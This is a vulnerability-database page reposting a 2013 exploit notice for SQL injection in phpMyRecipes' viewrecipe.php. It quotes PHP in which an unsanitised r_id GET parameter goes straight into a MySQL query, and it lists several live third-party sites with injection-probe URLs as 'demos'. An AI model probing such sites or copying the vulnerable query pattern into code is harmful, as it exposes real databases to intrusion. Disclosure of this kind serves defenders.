Lucene search
K

phpMyMyRecipes 1.x.x SQL Injection Vulnerability

🗓️ 15 Dec 2013 00:00:00Reported by TUNISIAN CYBERType 
zdt
 zdt
🔗 0day.today👁 14 Views

phpMyMyRecipes 1.x.x SQL Injection Vulnerability identified in viewrecipe.ph

Code
[+] Author: TUNISIAN CYBER
[+] Exploit Title:  phpMyMyRecipes 1.x.x SQL Injection Vulnerability
[+] Date: 15-12-2013
[+] Category: WebApp
[+] Vendor: http://sourceforge.net/projects/php-myrecipes/files/
[+] Google Dork: Use your mind.
[+] Tested on: Win7 , ubuntu 13.04
[+] Friend's blog: http://na3il.wordpress.com/
   
########################################################################################
v1.2.2 discovered by The Black Devils(http://1337day.com/exploit/20472)
=================================================================================
Vulnerability was found in /phpMyRecipes/recipes/viewrecipe.php
v1.2.0: Lines:38-->42:
  $r_id = $_GET['r_id'];

  if (! ($result = mysql_query("SELECT name,category,servings,ingredients,instructions,description,creator,editor,imagefile FROM recipes WHERE id=$r_id"))) {
    dberror("viewrecipe.php", "Cannot select recipe");
  }
  
v1.2.1: Lines:38-->42:
  $r_id = $_GET['r_id'];

  if (! ($result = mysql_query("SELECT name,category,servings,ingredients,instructions,description,creator,editor,imagefile FROM recipes WHERE id=$r_id"))) {
    dberror("viewrecipe.php", "Cannot select recipe");
  }

v1.2.2: Lines:38-->42:
  $r_id = $_GET['r_id'];

  if (! ($result = mysql_query("SELECT name,category,servings,ingredients,instructions,description,creator,editor,imagefile FROM recipes WHERE id=$r_id"))) {
    dberror("viewrecipe.php", "Cannot select recipe");
  }
================================================================================= 
 As you can see the same vulenrability.
=================================================================================
Demo:
http://recipes.delattre.ca/recipes/viewrecipe.php?r_id=%27'
http://cruftysite.com/recipetest/recipes/viewrecipe.php?r_id=8'
http://tabledideas.com/recipes/recipes/viewrecipe.php?r_id=76'
http://computx.us/recipes/recipes/viewrecipe.php?r_id=4'
########################################################################################
Greets to: XMaX-tn, N43il HacK3r, XtechSEt,sec4ever

#  0day.today [2018-03-31]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation